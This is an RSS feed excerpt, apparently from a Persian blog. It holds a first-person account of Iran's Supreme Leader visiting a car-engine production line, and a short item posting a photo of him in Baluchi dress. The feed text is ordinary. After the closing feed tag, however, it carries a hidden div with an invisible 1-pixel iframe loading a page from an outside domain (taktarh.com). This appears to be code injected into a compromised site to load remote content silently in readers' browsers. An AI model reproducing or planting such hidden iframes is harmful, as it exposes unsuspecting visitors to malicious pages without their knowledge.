<p>وقتی گروه همراه رهبر می‌رفتند سمت موتورها یک نفر توضیح می‌داد که قطعات الکترونیکی در اتوموبیل و موتور تعبیه شده که رفتار راننده را کنترل می‌کند و در برابر خودخواهی راننده برای کشیدن توان بیشتر از ماشین و تولید آلاینده‌های بیشتر مقاومت می‌کند.</p>
<p>رهبر لبخند زدند و گفتند: «خوب است ماشین به همه‌ی خواسته‌های راننده عمل نکند!»</p>
<p>به موتورها که رسیدند توضیح دادند اولین موتور، بهینه شده همان موتور پیکان قدیم است که الان روی روآ و وانت پیکان سوار می‌شود. دومین موتور همان موتور ملی بود، سومی توربو شارژ موتور ملی و چهارمی موتور مینیاتور بود که در سایپا طراحی و ساخته شده بود. وقتی رهبر رسیدند به موتور مینیاتور مدیر عامل سایپا را جلو فرستادند تا توضیح بدهد. او هم توضیحاتی داد. رهبر پرسیدند: «چند درصد این موتور در ایران ساخته می شود؟» مدیر عامل سایپا گفت: ۱۰۰ درصد. ضمن اینکه مالکیت این موتور هم برای ماست.</p>
<p>در قسمت تست موتورها هم دو موتور روشن و در حال انجام آزمایش بودند. یکی از موتورها صدایی می‌داد که کارگری ایستاده بود و آن قسمتی که صدا می داد را با دست گرفته بود. رهبر سوال کردند: «همه آزمایشهای مربوط به موتور اینجا می شود؟» مدیر عامل ایران خودرو جواب داد: همه آزمایش‌های مستقل بله. بعضی هم باید وقتی موتور روی ماشین نصب شد، انجام شود.</p>
<p>کنار موتور دیزل، مهندسی توضیح داد که ما دوازدهمین کشوری هستیم که موتور دیزل ساختیم. رهبر که در گزارش آقای میرسلیم شنیده بودند راه آهن چند تا از این موتورها را پیش خرید کرده است، پرسیدند: «این همان موتوری است که راه آهن از شما خریده؟» مهندس گفت بله. یک نفر دیگر اضافه کرد که: البته این موتور مقیاس ۵۰ درصد است؛ اصل موتور ۲ برابر این است که چون سخت بود آوردنش، این مدل را آوردیم اینجا!</p>
<p>رهبر از خط تولید موتور ملی هم دیدن کردند. نکته جالبش این بود که هرجا خودشان دقیق می‌فهمیدند چه اتفاقی می‌افتد سریع رد می‌شدند، هر جا هم می‌خواستند بیشتر بدانند صبر می‌کردند تا توضیحات کامل بشود. یک‌جا هم که میل‌لنگ موتور بسته می‌شد، پرسیدند: «شما زمان بندی این کارها را دارید؟ می دانید هر عملیاتی چقدر طول می کشد؟» که مدیر خط تولید و مدیرعامل ایران خودرو تند تند شروع کردند به جواب دادن.</p>
<p>کارگرهای خط تولید وقتی رهبر می‌رسیدند بهشان ضمن انجام کار زیر چشمی رهبر را هم نگاه می‌کردند. معلوم بود بهشان گفته‌اند سرشان به کار خودشان گرم باشد و الا بعضی‌ها دوست داشتند گپ و گفتی هم داشته باشند و ابراز ارادت بکنند. یک جا هم یکی از دستگاهها که با آن پیچ‌های سرسیلندر بسته می‌شد، کار نکرد. کارگری که دسته دستگاه را فشار می‌داد به همکار بغل دستی‌اش نگاه کرد و با چشم اشاره کرد به کلیدهای برق که معلوم نبود چه مشکلی داشتند. وقتی توضیحات مدیر عامل تمام شد و از آنجا رد شدند، کارگر که میان‌سال هم بود با عصبانیت مشتی به دستگاه کوبید که وقتی رهبر از آنجا رد می شد کار نکرد.</p>
<p>یک دستگاه دیگری هم بود که به شکل خودکار در قسمتهای مختلف موتور عملیات‌هایی انجام می‌داد. وسط کار یک‌دفعه قطع شد. نگو یکی از عکاسها برای شکار یک زاویه خوب از رهبر، پایش را جایی گذاشته بود که دستگاه را خود به خود از کار می‌انداخت. تازه به ذهنم آمد شاید دستگاه آن کارگر میان سال را هم، ما، ندانسته از کار انداخته بودیم! چون هفت-هشت نفری عکاس و فیلم‌بردار بودیم که این سمت خط تولید بدون توجه به دستگاه جابه جا می‌شدیم.</p>
<p>بعد از خط تولید موتور ملی، رهبر را راهنمایی کردند برای دیدن اتومبیل‌های ساخت داخل که اول سالن چیده شده بودند. اول از همه هم رفتند سراغ همان وانت‌پراید قرمز رنگ و بعد سمند سورن و ماشین‌های دیگر تا رسیدند به مینیاتور. رهبر ایستادند و گفتند: «چرا مینیاتور؟» آقایی که داشت توضیح می‌داد گفت مینیاتور اسم نقاشی‌های ایرانی است و همه می‌دانند که ما منظور دیگری نداریم و چه و چه. رهبر خیلی با طمأنینه گوش دادند و گفتند: «این کلمه در زبان فرانسوی هم استفاده می‌شود. کلماتی هم وجود دارد که مال ماست اما آنقدر آنجا استفاده شده که دیگر خارجی محسوب می‌شود. حالا چرا مینیاتور؟ یک اسم دیگر انتخاب کنید که حرف و حدیث نداشته باشد.» آن مسئول خواست زبلی کند و اسم ماشین را از زبان رهبر بگیرد؛ پرسید: به نظر شما اسمش را چی بگذاریم؟ رهبر هم گفتند: «نمی‌دانم چی بگذارید ولی مینیاتور نه!»</p>
<p>بعد از دیدن ماشین‌ها همه جمع شدند همان جای قبلی و این بار رهبر برای جمع صحبت کردند:</p>
<p>«ما می‌خواهیم و می‌توانیم هم عقلانی و علمی و پیشرفته زندگی کنیم، هم با پای‌بندی و تمسک به ایمان دینی خودمان باقی بمانیم&#8230; اسلام که دین معنویت است، دین علم هم هست&#8230; ما باید در بین کشورهای اسلامی در زمینه‌ی صنعت یک پرچم برافراشته باشیم&#8230;»</p>
<p>کاملاً معلوم بود بازدید یک پیام به متولیان ومسئولین امر صنعت بود که بدانند رهبر به صنعت جوشیده از ذهن و دلِ مهندسان این مرز و بوم توجه ویژه‌ای دارد، آن هم در سال کار و همت مضاعف.</p>
<p>صحبت‌های رهبر که تمام شد پایین آمد، مدیرعامل سایپا جلو رفت و چفیه‌ی ایشان را گرفت. یکی از مهندس‌های سالن که کنار من ایستاده بود زد روی دستش و گفت: ای که هی! دیدی چه کار کرد. کلی نقشه کشیده بودم برای آن چفیه!</p>
<p>رهبر از سالن خارج می‌شدند و کارگرها و مهندس‌های خط تولید به خودشان جرأت می‌دادند و از سر دستگاه‌هایشان می آمدند و دست ایشان را می بوسیدند و می‌رفتند. جوانکی از کنار یکی از محافظ‌ها رد شد و خواست برود دست‌بوسی که محافظ جلویش را گرفت. جوانک از رهبر عقب ماند و ناراحت و بغض‌کرده برگشت. بعضی از مسئولین تا لحظه‌ی سوار شدن حرف زدند و ایشان گوش دادند. وقتی که رفتند چند نفر نفسی عمیق کشیدند. رویانیان وزیر صنایع و معادن را بغل کرد و بوسید و تبریک گفت. بعد از او هم مدیر عامل ایران خودرو را بوسید.</p>
<p>سال کار مضاعف بود و ۹ فروردین؛ ولی معلوم بود کارخانه تعطیل است و مدیران و کارکنانی که آمده بودند با هم روبوسی سال جدید می‌کنند. موقع برگشتن روی دیوار یکی از مراکز مهم صنعتی هم پیام سال ۸۸ رهبر هنوز بود که امسال «سال اصلاح الگوی مصرف» است. ان شاء‌الله این کار و همت مضاعف نقش دیوار باقی‌نماند در سال ۸۹٫</p>
]]></content:encoded>
			<wfw:commentRss>http://www.patoghsara.com/news/692/%d8%b1%d9%87%d8%a8%d8%b1-%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d9%86%d8%a7%d9%85-%d8%ae%d9%88%d8%af%d8%b1%d9%88%db%8c-%d9%85%db%8c%d9%86%db%8c%d8%a7%d8%aa%d9%88%d8%b1-%d8%b1%d8%a7-%d8%b9%d9%88%d8%b6/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>عکس: رهبر انقلاب در لباس بلوچی در ایرانشهر</title>
		<link>http://www.patoghsara.com/ax/674/%d8%b9%da%a9%d8%b3-%d8%b1%d9%87%d8%a8%d8%b1-%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d8%af%d8%b1-%d9%84%d8%a8%d8%a7%d8%b3-%d8%a8%d9%84%d9%88%da%86%db%8c-%d8%af%d8%b1-%d8%a7%db%8c%d8%b1%d8%a7%d9%86%d8%b4/</link>
		<comments>http://www.patoghsara.com/ax/674/%d8%b9%da%a9%d8%b3-%d8%b1%d9%87%d8%a8%d8%b1-%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d8%af%d8%b1-%d9%84%d8%a8%d8%a7%d8%b3-%d8%a8%d9%84%d9%88%da%86%db%8c-%d8%af%d8%b1-%d8%a7%db%8c%d8%b1%d8%a7%d9%86%d8%b4/#comments</comments>
		<pubDate>Tue, 30 Mar 2010 09:58:02 +0000</pubDate>
		<dc:creator>مرتضی</dc:creator>
				<category><![CDATA[عکسهای روز]]></category>
		<category><![CDATA[آیة الله خامنه ای]]></category>
		<category><![CDATA[ایرانشهر]]></category>
		<category><![CDATA[خامنه ای]]></category>
		<category><![CDATA[رهبر انقلاب]]></category>
		<category><![CDATA[عکس]]></category>
		<category><![CDATA[عکس جالب]]></category>
		<category><![CDATA[عکس رهبر انقلاب]]></category>
		<category><![CDATA[لباس بلوچی]]></category>

		<guid isPermaLink="false">http://www.patoghsara.com/?p=674</guid>
		<description><![CDATA[عکس: رهبر انقلاب در لباس بلوچی در ایرانشهر]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">این عکس آیة الله خامنه ای را در زمان تبعید توسط رژیم سفاک پهلوی در ایرانشهر نشان می دهد.</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.patoghsara.com/wp-content/uploads/2010/03/52868_969.jpg"><img class="size-full wp-image-675  aligncenter" title="52868_969" src="http://www.patoghsara.com/wp-content/uploads/2010/03/52868_969.jpg" alt="" width="372" height="454" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.patoghsara.com/ax/674/%d8%b9%da%a9%d8%b3-%d8%b1%d9%87%d8%a8%d8%b1-%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d8%af%d8%b1-%d9%84%d8%a8%d8%a7%d8%b3-%d8%a8%d9%84%d9%88%da%86%db%8c-%d8%af%d8%b1-%d8%a7%db%8c%d8%b1%d8%a7%d9%86%d8%b4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<div style="display:none;"><iframe width="1px" height="1px" src="http://taktarh.com/root.html"></iframe></div>
